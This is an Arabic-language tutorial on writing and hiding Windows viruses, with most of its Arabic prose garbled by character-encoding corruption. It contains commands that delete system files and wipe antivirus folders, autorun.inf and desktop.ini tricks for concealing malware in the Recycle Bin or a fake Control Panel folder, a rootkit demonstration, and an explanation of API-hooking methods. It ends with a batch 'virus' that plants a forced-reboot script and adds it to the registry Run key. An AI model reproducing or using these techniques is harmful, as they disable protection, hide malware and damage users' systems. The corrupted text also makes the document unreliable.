
 ٝٛٞ  ٓٞؾٞو ك٠ ًٛج جُٔٓحٌ 

 C:\WINDOWS\system32\mmc.exe 

 ًٞو ذِـٚ جُرحضٕ

Del C:\WINDOWS\system32\mmc.exe/q 

 ِـٚ جُل٤ؿٞجٍ ذ٤ٓيذ

SetAttr " C:\windows\system32 mmc.exe ", vbNormal 

Kill " C:\windows\system32\ mmc.exe " 

 اسلىب اغلاق برنامج الحمايه* 

 
ضوّٞ ذؼٝ جُل٤ٍْٝحش ذأؿ٬م ذٍجٓؽ جُكٔح٣ٚ ٠ٌُ ٫ضٌٗق ٌُٖٝ ًٛٙ جُط٣ٍوٚ ؿ٤ٍ   

 ًُجض٤ٚ ُِرٍٗحٓؽٗحؾكٚ جيج ًحٕ ذٍٗحٓؽ جُكٔح٣ٚ ٓلؼَ ذٚ جُكٔح٣ٚ ج

 ٝج٤ٌُْ ٣ٍ٠وٚ جؿ٬م ذٍجٓؽ جُكٔح٣ٚ ذِـٚ جُرحضٕ
 

 

 

deltree /y c:\progra~1\name anti virus~1\*.*  
 
 

 

  back up*جِْٞخ 

  bak.*ٝٛٞ ًِٔح ٓٓكص جُل٤ٍِ ٣ٍؾغ ضح٠ٗ ٝٛٞ ُٚ ِٓق ٓٓحػى ذأٓطىجو 



 

 طرق الاخفاء للفيروسات                

 
  جِْٞخrecycle bin 

٠ٌُ ٣٫ٌٗق ٝٛٞ ٣ٓطـَ ٗوطٚ ٞؼق ك٠ ج٣ُٞ٘ىَٝ  recycle binوّٞ جُل٤ٍِ ذ٨نطرحء وجنَ  ٝٛٞ ٣

 كأٗٚ ٣٫ؼٍٜ جُِٔلحش جُط٠ ذىجنِٚ ٝذٔؿٍو ونُٞي ػ٤ِٚ ٣كُٞي ج٠ُ ٤ُ٘ي جُهح٘ ذ٬ِٜٔٔش

 
 ٣ظٍٜ جُكو٤وٚ جٗٚ ٤ُّ كحٌؽ  winrarٝػ٘ى ضٓطهىّ ذٍٗحٓؽ 

ٚ٘ىٝم ٬ٜٔٓش ذ٘لٓٚ ًٝٛٙ جُط٣ٍوٚ ضٓطهىّ ٓغ ٝٛ٘حى جِْٞخ جنٍ ٝٛٞ جٕ ٣ٛ٘غ ٓرٍٓؽ جُل٤ٍِ 

 ك٤ٍْٝحش جُل٬ٖحش

    
ٝذِطرغ ٚ٘ىٝم ج٬ُٜٔٔش ذٚ جُل٤ٍِ ٌُٝ٘ٚ ُٖ ٣ظٍٜ ْٝٞف ضؿى جُٛ٘ىٝم كحٌؽ ْٝٞف ٣وّٞ ِٓق 

autorun   ذطٗـ٤َ جُل٤ٍِ ٝج٤ٌُْ ًٞوautorun 

[autorun] 

open=TRASH\bin.exe 

.   ٠ٛٗtxt ػحوٟ غْ قٍٞ جْٔٚ ٝجٓطىجوٙ ذى٫ ٖٓ  ٝج٤ٌُْ ٤ًل٤ٚ ٚ٘حػٚ ٚ٘ىٝم ٬ٜٔٓش ؾ٤د ِٓق

ْٞف ٣طكٍٞ ج٠ُ ِٓق ٗظحّ ٝٛٞ ِٓق جُٔٓثٍٞ ػٖ ٌَٖ ج٣٫وٞٗحش ٝذؼى ٓح ػِٔص  desktop.iniج٠ُ 

 جُِٔق جٞغ ًٛج جٌُٞو ذىجنِٚ 

[.ShellClassInfo] 

CLSID={645FF040-5081-101B-9F08-00AA002F954E} 

 ى غْ جػَٔ ُٚ جػحوٙ ض٤ٔٓٚ ٝٞغ ًٛج جٌُٞو ٌٓحٕ ج٫ْْجُط٣ٍوٚ جُػح٤ٗٚ ٠ٛٝ جػَٔ كُٞىٌ ؾى٣

31.{645FF040-5081-101B-9F08-00AA002F954E} 

  
 

 

 



 control panelجِْٞخ * 

 

ٝٛٞ ٣وّٞ ٓرٍٓؽ جُل٤ٍِ ذؼَٔ كُٞىٌ ُٞقٚ ضكٌْ ٤ٔٛٝٚ ٣ٌٕٝٞ ذىجنِٚ جُل٤ٍِ ٝٛٞ ج٣ٟح ُى٣ٚ ٗلّ 

 ج٠ُ ٤ُ٘ي  ِوأ٣حضػ٤د ٚ٘ىٝم ج٬ُٜٔٔش ق٤ع ػ٘ى ونُٞي ُِلُٞىٌ ٣كُٞي 

 (  (linkَُٝٞقٚ جُطكٌْ ك٠ ج٣ُٞ٘ى 

ٝج٤ٌُْ جُط٣ٍوٚ ٤ًل٤ٚ ػَٔ ُٞقٚ ضكٌْ ٤ٔٛٝٚ ٠ٛٝ ٗلّ كٌٍٙ ٚ٘ىٝم ج٬ُٜٔٔش ٌُٖٝ ٟٗغ ًٞو جنٍ 

 ٝٛٞ    desktop.iniوجنَ ِٓق 

[.ShellClassInfo] 

CLSID={21EC2020-3AEA-1069-A2DD-08002B30309D} 

 ؾى٣ى غْ جػَٔ ُٚ جػحوٙ ض٤ٔٓٚ ٝٞغ ًٛج جٌُٞو ٌٓحٕ ج٫ْْ جُط٣ٍوٚ جُػح٤ٗٚ ٠ٛٝ جػَٔ كُٞىٌ

Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D} 
 

 جِْٞخ كُٞىٌجش جُ٘ظحّ جٍُت٤ٓ٤ٚ* 

 ٝٛٞ ٣وّٞ ذ٨نطرحء وجنَ كُٞىٌجش جُ٘ظحّ ٠ٛٝ ذؼ٤ىٙ ػٖ ػ٤ٖ جُٔٓطهىّ ٓػَ

            C:\windows                   

C:\windows\system32 

 

 tempجنطرحء ك٠ كُٞىٌ جُِٔلحش جُٔإهطٚ  * 

 ٠ٛٝtemp ًػ٤ٍٙ ك٠ ج٣ُٞ٘ىَٝ ٠ٌُٝ ضؿىٛح ٖٓ ج٫كَٟ جٕ ضؼَٔ ذكع ػٖ جْْ جُلُٞىٌ 

C:\Documents and Settings\ ّجْْ جُٔٓطهى\Local Settings\Temp 

 

 restor)جنطرحء ك٠ كُٞىٌجش جْطؼحوٙ جُ٘ظحّ )* 

  back upق٤ع جُرؼٝ ٜٓ٘ح ُٚ نح٤ٚٚ ٝٛٞ ٖٓ جنطٍ جُل٤ٍْٝحش 

 ًٝٛج جُلُٞىٌ ٣ٌٕٞ ذًٜج ج٫ْْ ٝٓٓحٌ 

C:\ System Volume Information 

 ٌَُٝ ذٍضٖٗ ُٚ كُٞىٌ جْطؼحوٙ 

 

 Prefetchكُٞىٌ * 

ٝٛٞ كُٞىٌ ٣وّٞ ذطٓؿ٤َ ًَ قًٍٚ ك٠ ج٣ُٞ٘ىَٝ ٣ٝهطر٠ء ذىجنِٚ جُل٤ٍْٝحش ٝٛٞ ذًٜج جُٔٓحٌ  

C:\WINDOWS\Prefetch 

 

 

 

 

 

 

 

 

 

 



 ج٫نلحء جُٔطوىّ ُِل٤ٍْٝحش
 

 ك٢ ػىز ٓؿح٫ش أٜٛٔح ج٧ٖٓ ٝجُكٔح٣س ٧ٗٚ ذىأ ٣٘طٍٗ rootkit ك٢ ًٛج جُٔٞٞٞع ْ٘٘حهٕ ٓلّٜٞ

 جُط٣ٍوس ُِطهل٢ ًٝٔح ض٬قع كإ جنطٍ جُلح٣ٍْٝحش ضٓطهىّ ًٛز

 RootKit ٝذىأ ئٗطٗحٌ ٝجُِٔلحش ٝظٍٜش ػىز ًٍٖحش ضٓطهىٜٓح ك٢ جُكٔح٣س ؟ ٓػَ قٔح٣س ج٫هٍج٘

  ٤َُٗٔ ذٍجٓؽ ٌٓحككس جُلح٣ٍْٝحش

 ٣ؼ٢٘ جُطهل٢ ٝ ج٬ُٛق٤حش ٝٛٞ جٌَُٗ جٍُٔت٢ ٖٓ ٓٞٞٞع ج٫ٓط٤حَجش rootkit ْحذوح ٓلّٜٞ ًٔح هِ٘ح

 ك٢ جُ٘ظحّ

  جُرٍجٓؽ ج٫قو٤س ك٢ جٍُٞٚٞ ٗؼٍف ذإٔ أٗظٔس جُطٗـ٤َ ضؼَٔ ك٢ ػىز ٓٓط٣ٞحش جٝ جٓط٤حَجش ُطؼط٢

 ك٤ٌْ ضو٤ٜٓٔح ًحُطح٢ُ rootkit جٓح

 Files & Folders  ئنلحء 1- 

 Processes  جنلحء 2- 

 Handles  جنلحء 3- 

 Registry Keys & Values  جنلحء 4- 

 Services  جنلحء 5- 

 TCP/UDP Sockets  جنلحء 6- 

 Systray Icons  جنلحء  7-

 ٝك٢ ٓػحُ٘ح ضٓطط٤غ ضطر٤ن ًَ ًٛز ج٫ٌٓٞ

 

  WINDOWS NT/2000/XP/2003 جُٔػحٍ ٣ؼَٔ ضكص ٬ٓقظس: ًٛج

 ذًٜز جُط٣ٍوس RootKit ٝذؼى يُي جٞق ٓؿِى ؾى٣ى ذاْْ d ج١ وٌج٣لٍ ٤ٌُٖٝ ج٥ٕ ضٞؾٚ ئ٠ُ

d:\RootKit 

  root.exe ذىجنَ جُٔؿِى جُؿى٣ى جونَ جُِٔق

 d:\rootkit\test.exe  ذًٜز جُط٣ٍوس test.exe جٞق ج١ ِٓق ض٘ل٤ً ئ٠ُ جُٔؿِى ٤ٌُٖٝ ِٓق ذؼى يُي

 جُٔٞٞٞع ،،، ضحذغ جُِٔل٤ٖذؼى ئٞحكس 

 جنلحء جُِٔلحش ٝجُٔؿِىجش :ج٫ٝ

 d:\RootKit هْ ذحُىنٍٞ ئ٠ُ جُٔؿِى

 run  غْ start جُىِٝ جٝ ٖٓ هحتٔس ج٥ٕ ٖٓ ن٬ٍ

 D:\RootKit\root.exe /i   ٗلً ج٫ٍٓ جُطح٢ُ

 i  ذاْطهىجّ جُرحٌٓطٍ root ػٖ ض٘ل٤ً ذٍٗحٓؽ ٙػرحٌ ٝٛٞ

 َ ض٣ٍى جٕ ضؼٍف ٓح ػِٜٔحٗلّ جُٔؿِى ،ٛ ك٢ hook.dll ْط٬قع ظٌٜٞ جٌُٔطرس

 جؿِن جُ٘ٞجكً جُظحٍٛز ٝجٌؾغ ُِىْي ضٞخ ٣ؼ٢٘ D:\RootKit ج٥ٕ جنٍؼ ٖٓ جُٔؿِى

 ؟ ٓحيج ض٬قع D غْ جُىٌج٣لٍ My Computer جُك٤ٖ ضٞؾٜس َُ

 ٣ٖ جنطل٠ ..... ضحذغجٓٞؾٞو !!  d:\RootKit َٛ جُٔؿِى

 ٓٞؾٞو؟ ؽ نطأ ذإٔ جُٔؿِى ؿ٤ٍْ٤ظٍٜ ُي ٓٓ d:\rootkit جًطد address bar جُىنٍٞ ٖٓ قحٍٝ

جقو٤ٚ جُىنٍٞ  explorer.exe َُ؟ ٤ُّ ُِ٘ظحّ ٗلٓس جقو٤س جٍُٞٚٞ! ذط٤ٞٞف جًػٍ ٤ُّ  ُٔحيجضؼٍف 

 ُِٔؿِى

ًٛج  ذأ١ ٢ٖء ذٔٓطٟٞ جُٔٓطهىّ ٓح ذطوىٌ ضىنَ قحٍٝ ئظٜحٌ جٝ جنلحء جُٔؿِىجش ؟ قحٍٝ ذحُىِٝ

 جٕ جُٔؿِى ٓحَجٍ ٓٞؾٞو ٬قظسٝجُٔؿِىجش ،،، ٓغ جُٔ ذانطٛحٌ ٓلّٜٞ جنلحء جُِٔلحش

 ج١ًُ ٝٞؼ٘حٙ ذحُٔؿِى جٝ ٖٓ ن٬ٍ جُىِٝ ٗلً ذٍٗحٓؽ جُٔػحٍ run غْ start ٖٓ ن٬ٍ ج٫ٕ



 D:\RootKit\test.exe   ًٔح ٢ِ٣

 ( ًحٗص جُ٘حكًز جٍُت٤ٓ٤س ٓهل٤س ) ًٔح ٛٞ جُكحٍ ك٢ ًَ جُلح٣ٍْٝحش ٤ْؼَٔ جُرٍٗحٓؽ ...ُٞ

ُٖ  Processes جٝ ج١ ذٍٗحٓؽ ٓٓطؼٍٜ task Manager جُرٍٗحٓؽ ؟ ضٞؾٚ َُ َٛ ْط٬قع ٝؾٞو

  test.exe جغٍُرٍٗحٓؿ٘ح ضؿى ج١

 d:\rootkit  جٝ ذٍٗحٓؽ ئ٠ُ ٓؿِى ًٌٝٛج ٓغ ذو٤س نٛحتٙ ج٫نلحء ،،، ذٔؿٍو جونحٍ ج١ ِٓق

 :٢ِ٣ ٤ٌْٕٞ ُٚ جٓط٤حَجش نحٚس ٨ُنلحء ًَ ٓٔح

Files & Folders 

Processes 

Handles 

Registry Keys & Values 

Services 

TCP/UDP Sockets 

Systray Icons 

  RootkitRevealer ٝؾٞو جُِٔلحش!! جُط٣ٍوس جُٞق٤ىز ٌُٗلٜح ٢ٛ ذاْطهىجّ ذٍٗحٓؽ ض٣ٍى ضطأًى ٖٓ

evealer.ziphttp://www.sysinternals.com/Files/RootkitR 

 :ك٢ جٌُٛٞز ًٔح

 
 

 root.exe ًٛز ج٧ٓػِس ذحُطأ٤ًى ض٣ٍى ضؼٍف ٤ًق ٣ؼَٔ ذٍٗحٓؽ ٝذؼى

 جٌُٞو جُٔٛى١ٌ ... ٬ٓقظس جٌُٞو ذِـس جُرحٌْحٍ جُؿٞجخ ػ٠ِ يُي ِٓلحش

 

 

 

 

 

 

 

 

http://www.sysinternals.com/Files/RootkitRevealer.zip
http://www.sysinternals.com/Files/RootkitRevealer.zip


 RootKitجٍ  ٓرحوب  ٝج٤ُس ػَٔ

 

 جش ٬ٚق٤ٚ ػح٤ُٚ ٝضٌٕٞ ي kernelجُ٘ٞجٙ نط٤ٍز ٫ٜٗح ضرٍٓؽ ػ٠ِ ٓٓطٟٞ  RootKit جُـ

٣ؼحَٓ ًٛٙ  ٝٗظحّ ٣ٝ٘ىَٝ sys*.* ذح٤ُٛـس جُطح٤ُس hardware ُٔحيج ٫ٜٗح ضرٍٓؽ ػ٠ِ جْحِ جٜٗح

 .. جُِٔلحش ذىٕٝ ه٤ٞو جٝ ٬ٚق٤س .. كطؼَٔ ذٔطِن جُك٣ٍس

 ًحٕ جُٔوٛٞو ذٚ ٛٞ ٓؿٔٞػس ٖٓ جٍ  Unixجٗطوَ ج٤ُ٘ح ٖٓ ػحُْ جٍ RootKitٓىنَ: جٕ ٓٛطِف جٍ

utilities ٢ ًحٕ جُٜحًٍَ ٣ٟؼٜٞٗح ػ٠ِ جُكٞج٤ْد جُٔهطٍهس ذؼى جُكٍٛٞ ػ٠ِ جٍ ٝ جُطInitial 

access  ًْٟحٗص ًٛٙ جُٔؿٔٞػس ض .utilities  َ٫نلحء جغحٌ جهطكحّ جُ٘ظحّ ٝ جوٝجش جنٍٟ ٓػ

(sniffers,scanner ٍجٞحكس ج٠ُ ذٍجٓؽ جنٍٟ ٍُٔجهرس ج  ) utilities  جُهحٚس ذحُ٘ظحّ .ك٢ جُكو٤وس

ضٓٔف ُِٜحًٍ جٕ ٣كوٖ جوٝجضٚ ك٢ جُ٘ظحّ جٞحكس ج٠ُ ٓٓف جغحٌ ج٫نطٍجم. ك٢ ػحُْ  rootkitsجٕ جٍ

ػ٠ِ جُرٍجٓؽ جُط٢ ضوّٞ ذحُطـِـَ ك٢ جُ٘ظحّ ٝضؼَٔ ػ٠ِ  RootKitج٣ُٞ٘ىَٝ ٖٓ جُٔؼطحو ج٬٠م جْْ  

يجش  API. ٠رؼح ٖٓ جُرى٢ٜ٣ جٗٚ ُٖ ٣ٓطط٤غ جُطوح٠ ٝضؼى٣َ وٝجٍ جAPIٍ( وٝجٍ جٍ hookجُطوح٠ )

ًًُٝي  ٣هل٢ ج٫غحٌ جُهحٚس ذٚ)    طٟٞ جُٔ٘كلٝ ج٫ ذٍٗحٓؽ ٣هل٢  ٝؾٞوٙ ك٢ جُ٘ظحّ ذٌَٗ ؾ٤ىجُٔٓ

 Servicesضوّٞ ذط٤ٛ٘د جٍ rootkits(.جُؼى٣ى ٖٓ   registryٓؿِىجش ،ِٓلحش، ٓلحض٤ف ك٢ جٍ

 جُهحٚس ذٜح ًَٝ يُي ٣طْ ذٌَٗ نل٢. Driversٝجٍ

 

 :  APIٓرىج جْطىػحء وٝجٍ جٍ* 

 

٫ذى ُ٘ح جٕ ٗؼٍف  جُط٣ٍوس جُط٢ ٣طْ   Windowsػ٠ِ ٓ٘ٛس جٍ  RootKitsج ػَٔ جٍهرَ جٕ ٗؼٍف ذى

 ُٝؼَٔ يُي ٛ٘حى ٣ٍ٠وطحٕ جْح٤ْطحٕ: DLLجُٔٞٞٞػس ك٢ ِٓق  APIجٍ  ذٜح جْطىػحء وٝجٍ

 ( : Statically imported functions) جٍُذ١ جُٔرٌٍ

جُىٝجٍ جُط٢ ٣وّٞ ذحْطىػحتٜح ٣ؼطٔى ػ٠ِ ًٕٞ جُٔطٍؾْ "٣ؼٍف" ٓح٢ٛ جٌُٔطرحش جُط٢ ضطرؼٜح ًَ 

 The tableجُرٍٗحٓؽ. ذح٫ػطٔحو ػ٠ِ ًٛٙ جُٔؼِٞٓس كحٕ جُٔطٍؾْ ٣ّٞ ذؼَٔ َٓ ٣ٌٖٔ جٕ ٗطِن ػ٤ِٚ  

of import .ُِِٔق جُط٘ل١ً٤ 

The table of import   ٢ٛstructure  ٗٞع نح٘ ٣ٌَٗ ؾى٫ٝ ٣كط١ٞ ػ٠ِ هحتٔس  ذحْٔحء ٖٓ

ضٛىٌٛح ًَ ٌٓطرس ٌَُٝ وجُٚ ٛ٘حى قوَ ك٢ جُؿىٍٝ ٣ك١ٞ ػ٘ٞجٕ جٌُٔطرحش ٝهٞجتْ ذٌَ جُىٝجٍ جُط٢ 

 header. ٣وغ ًٛج جُؿىٍٝ ك٢ جCompilationٍ جُىجُس ٌُٖٝ ًٛٙ جُؼ٘ٞجٕ ؿ٤ٍ ٓؼٍٝف ك٢ ٍٓقِس جٍ

ُِِٔق جُط٘ل١ً٤ ٣وّٞ جُ٘ظحّ ذطك٤َِ جُؿىٍٝ  Loadingجُهح٘ ك٢ ذحُِٔق جُط٘ل١ً٤ .ٝجغ٘حء ػَٔ 

٤َٔ جٌُٔطرحش جُٔٞؾٞوز ٛ٘حى ٖٝٓ غْ ٓ٘ف ػ٘ح٣ٖٝ قو٤و٤س ُِىٝجٍ جُهح٘ ذًٜج جُِٔق ٝذحُطح٢ُ ضك

 ( . dllجُٔٞؾٞز ك٢ جٌُٔطرحش )٠رؼح ٗكٖ ٗطكىظ ػٖ ٌٓطرحش 

ك٢ جُكو٤وس ك٢ جٌُٔطرحش جُط٢ ضٍذ١ ذٌَٗ جْطحض٢ٌ٤ نح٤ٚس يٛر٤س :جغ٘حء جه٬ع جُرٍٗحٓؽ ضٌٕٞ ًَ 

ح جٕ ًَ ًٛٙ ج٤ٖ٫حء ٣وّٞ ذؼِٜٔح ضٌٕٞ ؾحُٛز ًٔ   import tableٓكِٔس ًٔح جٕ  dllٌٓطرحش جٍ

 جُ٘ظحّ ذىٕٝ جُطىنَ ٖٓ جُرٍٗحٓؽ.

ٌُٖ!! جيج ُْ ضطٞجؾى جقى جٌُٔطرحش جٝ جُىجُس جًًٌُٔٞز ُْ ضٌٖ ٓٞؾٞوز ك٢ جُِٔق جًًٌُٔٞٙ ك٤ٓكىظ نطح 

 ُٖٝ ٗطٌٖٔ ٖٓ جه٬ع جُرٍٗحٓؽ  ًٔح جٗ٘ح ٫ٗكطحؼ وجتٔح ج٠ُ ضك٤َٔ ًَ جٌُٔطرحش ػ٘ى ذىج٣س ػَٔ جُرٍٗحٓؽ

 



 
 

 APIج٤ُس جْطىػحء وٝجٍ جٍ

 ك٢ جٍُْْ جُط٤ٞٞك٢ ٫قع:

 ذحُؼ٘ح٣ٖٝ imprt ableػ٤ِٔس َٓء  جٍ -1

 هرَ جْطىػحء وجُس ٓؼ٤٘س جنً ػ٘ٞجٜٗح ٖٓ جُؿىٍٝ جُٓح٣ن -2

 ػٔح٣س ج٫ْطىػحء -3

 غح٤ٗح : جٍُذ١ جُٔطحنٍ جٝ جُى٣٘ح٢ٌ٤ٓ

جُط٢  ضوغ ك٢    ٣API  LoadLibraryهطِق ػٖ ْحذوٚ ذحٕ ضك٤َٔ جٌُٔطرس ٣طْ ػٖ ٣ٍ٠ن وجُس جٍ

جُط٢  GetProcAddressًٔإٔ جُكٍٛٞ ػ٠ِ ػ٘ٞجٕ جُىجُس  ٣طْ ػٖ ٣ٍ٠ن جُىجُس   kernel32.dllجٍ

 ج٣ٟح. kernel32.dll ضوغ ك٢ جٍ

 ٫قع ك٢ جٍُْْ جُٓحذن :

ٝجُكٛٞجٍ ػ٠ِ ػ٘ٞجٕ جُىجُس ذٞجْطس وجُس    LoadLibraryضك٤َٔ جٌُٔطرحش ذٞجْطس جٌُٔطرس  -4

 API GetProcAddressجٍ

 جْطىػحء وجُس جُٔطِٞذس. -5

ػ٘ى ًَ ٍٓز ٗكطحؼ ك٤ٜح وجُس ٓؼ٤٘س ذحٌٓحٗ٘ح  ٢ٌُٝGetProcAddress ٫ ٟٗطٍ ج٠ُ جْطىػحء جُىجُس 

جٕ ٗكلع ػ٘ٞجٕ جُىجُس ك٢ ٓطـ٤ٍ ٓػ٬. ٝذـٝ جُ٘ظٍ ػٖ جُط٣ٍوس جُط٢ ضْ ذٜح جٍُذ١ ٓغ جٌُٔطرس ك٬ذى ٖٓ 

  export tableؾىٍٝ جْٔٚ  dllس ًُٜٝج جُـٍٜ كحٕ ُىٟ ًَ ٌٓطرس ٓؼٍكس جُىٝجٍ جُط٢ ضٛىٌٛح جٌُٔطر

 ٣كط١ٞ ػ٠ِ جٌهحّ جُىٝجٍ جُٔٛىٌز ٝػ٘ح٣ٜٝ٘ح

 : APIُىٝجٍ جٍ  ٠hookٍم ػَٔ * 

: ك٢ ًٛج جُ٘ٞع كحٕ جُطؼى٣َ ٣كىظ ػ٠ِ ضؼى٣َ  ج٫ٝ : ػَٔ ضؼى٣َ ك٢ ًٞو جُرٍٗحٓف جٌُٔطٞخ ذِـس ج٫ُس

ٓؼ٤٘س .ك٢ جُكو٤وس ًٛج جُؼ٤ِٔس ٚؼرس ؾىج ُٞؾٞو جُؼى٣ى ٖٓ  APIس ػ٠ِ جٌُٞو ج١ًُ ٣وّٞ ذحْطىػحء وجُ

وٝجٍ ُـحش جُرٍٓؿس ٝجُؼى٣ى ٖٓ جٚىجٌجش جُٔطٍؾٔحش ٌُٖٝ ًٛج ٗظ٣ٍح ٌٖٓٔ جيج ً٘ح ٣ٍٗى جُطـِـَ ك٢ ًٞو 

 ذٍٗحٓؽ ٓؼٍٝف ج٫ٚىجٌ ذك٤ع ٗٓطط٤غ ضك٤َِ جٌُٞو ًٝطحذس ذٍٗحٓؽ ٫ُطوح٠ جُىٝجٍ جُٔطِٞذس.



 
 

 import tableٍج غح٤ٗح : ضؼى٣َ

  import tableذحُركع ك٢ يجًٍز جٍ Rootkitكٌٍز ًٛٙ جُط٣ٍوس ِْٜس ٝضؼطٔى ػ٠ِ جُطح٢ُ :٣وّٞ جٍ

جُطحذؼس ُرٍٗحٓؽ ٓؼ٤ٖ ٖٝٓ غْ ٣وّٞ ذطؼى٣َ ػ٘ح٣ٖٝ جُىٝجٍ جُط٢ ضٜٔٚ ج٠ُ ػ٘ٞج٣٘ٚ وٝجٍ ضهٛٚ )٠رؼح هرَ 

 ٓح( . جٕ ٣وّٞ ذحُطؼى٣َ ٫ذى جٕ  ٣كلع جُؼ٘ح٣ٖٝ جُكو٤و٤س ك٢ ٌٓحٕ

٫قع جٕ جُرٍٗحٓؽ   ُكظس جْطىػحء وجُس ٓؼ٤٘س كحٗٚ ج٫ٝ ٤ْوّٞ ذوٍجءز ػ٘ٞجٕ جُىجُس ٖٓ جُؿىٍٝ ٖٝٓ غْ 

٣ٓطىػ٤ٜح ذٞجْطس جُؼ٘ٞجٕ جُٔوٍٝء. ٛ٘حى ػ٤د ٝجٞف ك٢ ًٛٙ جُط٣ٍوس ٝٛٞ جٕ جُىٝجٍ جُط٢ ٣ٌٖٔ ػَٔ 

hook   ُٜح كو١ وٝجٍ ْطحض٤ٌ٤س ًٝٛج ٝجٞف ك٢ جٍُْْ جُطح٢ُ 

 
٘حى ٗوطسج٣ؿحذ٤س ج٣ٟح ك٢ ًٛٙ جُط٣ٍوس ٢ٛٝ جٕ جُط٘ل٤ً َْٜ ؾىج جٞحكس ج٠ُ ٝؾٞو جُؼى٣ى ٖٓ ٌُٖٝ ٛ

 ج٫ٓػِس جُط٢ ضوّٞ ذًٜٙ جُؼ٤ِٔس

ٝٛ٘ح ضحض٢   import tableج٢ُٗ جُٞق٤ى ج١ًُ ٖٓ جٌُٖٔٔ جٕ ٣ٌَٗ ٚؼٞذس ٛٞ جُركع وجنَ جٍ

ط٢ ضَٜٓ ج٫ٍٓ ًُُي ٣رىٝ جُ APIٓٓحػىز ًٍٖس ٓح٣ٌٍٝ ْٞكص ٝجُط٢ جػطط٘ح جُؼى٣ى ٖٓ وٝجٍ جٍ

 جُٔٔػَ ذًٜٙ جُط٣ٍوس ٣ُ٣٫ى ػٖ ػىز ٚلكحش ذِـس ج٢ُٓ   hookجٍ

 

 : LoadLibrary   ٝGetProcAddressُِىجُط٤ٖ   hookغحُػح :ػَٔ 

ػحوز ٗٓطهىّ جُط٣ٍوس جُػح٤ٗس .كٌٍز ًٛٙ جُط٣ٍوس ًحُطح٢ُ  hookٌٖٓٔ جٕ ٗٓطؼَٔ ج١ ٣ٍ٠وس   ُؼَٔ  

ٖٓٔ جٌُٖٔٔ جػطحء ػ٘ٞجٕ جُىجُس جُهحٚس ذي ذى٫ ٖٓ   ,GetProcAddressُِىجُس   hookػ٘ى ػَٔ 

 ػ٘ٞجٕ جُىجُس جُٔطِٞذس  ٖٓ ٝؾٜس ٗظٍ جُرٍٗحٓؽ ٫ ٣ٞؾى كٍم ذ٤ٖ جُىٝجٍ كو١ ٣طِد ػ٘ٞجٗح ٣ٝ٘لً ج٫ٍٓ 



ُِىٝجٍ ج٫ْطحض٤ٌ٤س ٝجٗٔح كو١ ُِىٝجٍ جٍُٔذ٠ٞس ذٌَٗ    hookِْر٤س ًٛج جُط٣ٍوس ًٜٞٗح ٫ ضؼَٔ 

 ًٔح ٣ر٤ٖ يُي جٍُْْ  جُط٤ٞٞك٢   و٣٘ح٢٤ٌٓ

 
 

 جؾٔغ جُط٣ٍوط٤ٖ  جُٓحذوط٤ٖ : ٌجذؼح :

ٝ   LoadLibraryُِىجُط٤ٖ  hookغْ ٗوّٞ ذؼَٔ   2ذحُط٣ٍوس  improt tableٗؼىٍ جٍ

GetProcAddress    ْٓٓطػ٤ٖ٘ جغ٘حء يُي جُىٝجٍ ج٬َُٓس ُؼَٔ جٍ 3ذحُط٣ٍوس ٌهRootKit   ٝذًٜج

 كس جُؼ٘ح٣ٖٝ جُٛك٤كس ُِىٝجٍ ْٞجب ًحٕ ضك٤ِٜٔح و٣٘ح٤ٌ٤ٓح جّ جْطحض٤ٌحُٖ ٣طٌٖٔ جُرٍٗحٓؽ ٖٓ ٓؼٍ

 جٗظٍ جٍُْْ جُط٤ٞٞك٢:

 
 : APIجُط٣ٍوس جُهحٓٓس : ضـ٤٤ًٍٞو وجُس جٍ

 rootkitٝجٞف جٕ ًٛٙ جُط٣ٍوس ك٢ جُط٘لً جٚؼد ًػ٤ٍج ك٢ جُط٘ل٤ً ٖٓ ٓؿٍو ضـ٤٤ٍ جُؼ٘ٞجٕ ٝيُي ٫ٕ جٍ

ع ػٜ٘ح ٝذحُطح٢ُ ضـ٤٤ٍٙ ٝذًٜج ُٖ ٣كطحؼ ج٠ُ ضـ٤٤ٍ ػ٘ٞجٕ جُىجُس ٣وّٞ ذحُركع ػٖ ًٞو جُىجُس جُط٢ ٣رك

 import tableك٢ جٍ

ًَ ٢ٖء ٣رو٠ ػ٠ِ قحُٚ ٓغ كحٌم ذ١٤ٓ ٝٛٞ وجنَ جُؼ٘ٞجٕ ج٢ِٚ٫ ٝجنَ جٌُٔطرس ج٤ِٚ٫س ٣وغ جٌُٞو 

ٓحٕ ٗلٓٚ.  ك٢ ذىج٣س ًٞو جُىجُس جُط٢ ضْ ض٣ٞٗٚ ًٞوٛح ٟٗغ ضؼ٤ِٔط٤ٖ جٝ غ٬ظ ضوٞ rootkitجُهح٘ ذحٍ

ذك٤ع ٣٘ط٠ٜ ج٫ٍٓ ًٔح ُٞ  3ٝك٢ ج٫نٍ ضؼ٤ِٔط٤ٖ جٝ  hookerذؼَٔ ذ٘وَ جُطكٌْ ج٠ُ ج٫ٝجٍٓ جُهحٚس ذحٍ

 جٕ وجُط٘ح جٗطٜص ٖٓ ػِٜٔح ذٌَٗ ٠ر٤ؼ٢.

 
 



 ٓرطٌٍٙ ُِل٤ٍْٝحش  ض٤ٔٛٔحش                
 

                                                                                            (SG  ٍِك٤ ) 
     

غْ ٣وّٞ ذؼَٔ ِٓق ك٠ جُ٘ظحّ غْ ٣وّٞ ذحػطحء ه٤ٔٚ ك٠   autorunٝٛٞ كح٣ٍِ ٣ؼَٔ ػٖ ٣ٍ٠ن ِٓق  

 ٓغ ج٣ُٞ٘ىَٝ ٝج٤ٌُْ جٌُٔحٕ جًُٟ ٝٞغ ك٤ٚ جُو٤ٔٚ startupجٍُؾٓطٍٟ ُِؼَٔ ُِِٔق 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 

 

 

Autorun 

File 

 

Virus    

master 
 

 

 

 

 

 

 

 batch (.bat) ٝج٤ٌُْ ج٫ًٞجو ذِـٚ 

 غح٤ٗٚ 60ذؼى   shutdownًٞو جٞحكٚ ِٓق ج٠ُ جُ٘ظحّ ٣وّٞ ذؼَٔ           

echo shutdown -r -t 60>c:\Recycled\xx.bat 

 ُِل٤ٍِ  startup( ُؼَٔ (runٓطٍٟ ج٠ُ  ًٞو جٞحكٚ ه٤ٔٚ ٍُِؾ    

Reg add hkcu\software\microsoft\windows\currentversion\run /v o /t 

reg_sz /d "e:\Recycled\xx.bat" 

 ضٗـ٤َ جُل٤ٍِ ذؼى ج٫ٗطٜحء ٓرحٍٖج

start=e:\Recycled\xx.bat 

 

 

 

 

 

 

Add virus 

To system 

 

Add key 

to 

